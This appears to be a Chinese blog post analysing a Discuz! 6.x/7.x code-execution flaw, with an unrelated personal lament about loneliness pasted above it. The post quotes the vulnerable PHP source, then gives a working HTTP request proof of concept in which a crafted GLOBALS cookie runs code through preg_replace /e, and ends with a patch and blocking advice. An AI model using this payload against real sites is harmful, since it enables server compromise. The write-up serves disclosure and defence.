活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。
影响版本 Discuz 6.x/7.x (php > 5.3.x)
源码下载 https://dd1.pc6.com/soft/Discuz_UTF8_jfsky.rar
漏洞原理
php大于php 5.3.x 中,php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御
绕过漏洞。
文件 include/common.inc.php :
1. foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
2. foreach($$_request as $_key => $_value) {
3. $_key{0} != '_' && $$_key = daddslashes($_value);
4. }
5. }
把gpc变量过滤
1. if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
2. exit('Request tainting attempted.');
3. }
防止外部提交 GLOBALS 覆盖 discuz $GLOBALS 数组。
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列
中,request_order默认值为
GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过
COOKIE来提交
GLOBALS变量。
漏洞利用
文件 \include\discuzcode.func.php 139 行
1. if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_arr
ay($GLOBALS['_DCACHE']['smilies'])) {
2. if(!$discuzcodes['smiliesreplaced']) {
3. foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
4. $GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies
/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$k
ey]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />';
5. }
6. $discuzcodes['smiliesreplaced'] = 1;
7. }
8. $message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_
DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
$smileyoff变量来自于数据库post中的smileyoff值,当discuz发表一个帖子时,调用checksmilies函数。
文件 \include\post.func.php 495 行 :
1. function checksmilies($message, $smileyoff) {
2. global $_DCACHE;
3.
4. if($smileyoff) {
5. return 1;
6. } else {
7. if(!empty($_DCACHE['smileycodes']) && is_array($_DCACHE['smileycodes'])) {
8. $message = stripslashes($message);
9. foreach($_DCACHE['smileycodes'] as $id => $code) {
10. if(strpos($message, $code) !== FALSE) { // 查看帖子中有没有表情字符 如 :) 字符
11. return 0;
12. }
13. }
14. }
15. return -1;
16. }
17. }
当帖子里面有表情,而且后台容许显示表情,返回0。
即可进入if流程,覆盖变量执行任意代码。
discuzcode函数在查看帖子文件中调用,修复cookie值为
1. GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearr
ay]=phpinfo()
执行代码。
poc:
1. GET /cms/discuz/dz_7_1/viewthread.php?tid=7 HTTP/1.1
2. Host: 127.0.0.1
3. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5. Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
6. Accept-Encoding: gzip, deflate
7. Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][re
placearray]=phpinfo()
8. Content-Length: 26
9.
10. Connection: keep-alive
临时补丁
文件 /include/common.inc.php
1. if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
discuz 6.x/7.x 代码执行 2014/10/28
2. exit('Request tainting attempted.');
3. }
改为
1. if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS']) OR isset($_COOKIE['GLO
BALS'])) {
2. exit('Request tainting attempted.');
3. }
防护建议
拦截cookie中的所有 GLOBALS 多维数组(正常不会存在)
相关链接
[1]Discuz! 6.x/7.x 全局变量防御绕过漏洞 https://sebug.net/vuldb/ssvid-19639
© Sh4dow's Blog | Powered by LOFTER